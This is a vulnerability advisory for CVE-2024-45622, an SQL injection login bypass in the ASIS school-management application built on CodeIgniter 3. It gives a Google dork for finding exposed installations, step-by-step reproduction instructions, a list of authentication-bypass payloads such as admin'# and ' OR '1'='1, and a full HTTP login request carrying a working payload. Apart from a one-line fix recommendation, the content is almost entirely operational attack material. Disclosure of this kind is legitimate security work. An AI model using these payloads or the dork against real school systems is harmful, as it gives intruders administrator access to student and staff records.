Skip to content

Latest commit

 

History

History
116 lines (81 loc) · 3.76 KB

ASIS_AplikasiSistemSekolah_Using_CodeIgniter3-SQL_Injection_Authentication_Bypass.md

File metadata and controls

116 lines (81 loc) · 3.76 KB
Raw

ASIS | Aplikasi Sistem Sekolah using CodeIgniter 3 - SQL Injection Authentication Bypass

CVE Assigned:

CVE-2024-45622 mitre.org nvd.nist.org

Date:

5 July 2024

Author:

checkgue

Author Email:

checkgue.meta4sec@gmail.com

Google Dork:

"ASIS | Aplikasi Sistem Sekolah"

Vendor Homepage:

https://www.facebook.com/groups/181558652941070/

Software Link:

ASIS - Aplikasi Sistem Sekolah dengan Framework Codeigniter (Deprecated)

Version:

v 3.0.0 < 3.2.0

SQL Injection:

SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

Affected Components:

index.php

username parameter within the login mechanism is vulnerable to SQL Injection.

Description:

The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

Steps to reproduce:

  • Step 1 - Visit http://localhost/asispanel/
  • Step 2 - Enter username as admin'# and use any password you want.
  • Step 3 - Click LOGIN and now you will be logged in as admin.

Payloads Can be use:

admin'#
admin'-- 
'||1#
'||1-- 
'=' 'or'
' OR '1'='1
' or 0=0 ##
superadmin'#
superadmin'--

Proof of Concept [Burp Request]:

POST /asispanel/login/cek HTTP/1.1
Host: localhost
Cookie: ci_session=0221b92b7d2d402932dfc442b533d7af6d041c18
Content-Length: 57
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/asispanel/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9,id-ID;q=0.8,id;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive

username=%27+or+0%3D0+%23%23&password=xyz&submit=&submit=

Recommendations

When using this ASIS, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

References

Greetings to : ==========================
|| Meta4sec * Bungker * Jasakom * ECHO ||
=========================================